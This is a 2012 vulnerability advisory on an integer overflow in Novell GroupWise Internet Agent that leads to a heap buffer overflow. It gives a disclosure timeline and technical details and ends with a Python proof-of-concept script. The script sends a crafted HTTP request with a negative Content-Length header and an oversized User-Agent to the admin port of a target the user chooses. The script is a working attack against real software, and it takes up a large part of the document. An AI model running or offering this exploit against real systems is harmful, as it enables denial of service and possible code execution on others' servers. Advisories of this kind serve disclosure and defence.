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Application:   Novell Groupwise

Platforms:   Windows
Version:   8.0.2 HP3 and 2012

Secunia: SA50622

{PRL}:   2012-28

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in

enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline
============================

2012-02-03  Vulnerability reported to Secunia
2012-09-14  Publication of this advisory

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============================
3) Technical details
============================
The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe)
when copying request data and can be exploited to cause a heap-based buffer overflow by e.g.
sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based
administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.

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===========
4) The Code
===========

#!/usr/bin/python

import sys,os,socket

if len(sys.argv) < 3:
 print "Usage: host,port"
 sys.exit(0)

host=sys.argv[1]
port=int(sys.argv[2])

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect((host,port))

sock.send("\x47\x45\x54\x20\x2F\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x6E\x67\x74\x68\x3A\x20\x2D\x31\x0D\x0A\x45\x78\x70\x69\x72\x65\x73\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x46\x72\x6F\x6D\x3A\x20\x61\x61\x61\x61\x61\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x0D\x0A\x49\x66\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x2D\x53\x69\x6E\x63\x65\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x4C\x61\x73\x74\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x52\x65\x66\x65\x72\x65\x72\x3A\x20\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x2F\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\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print "done!"

sock.close()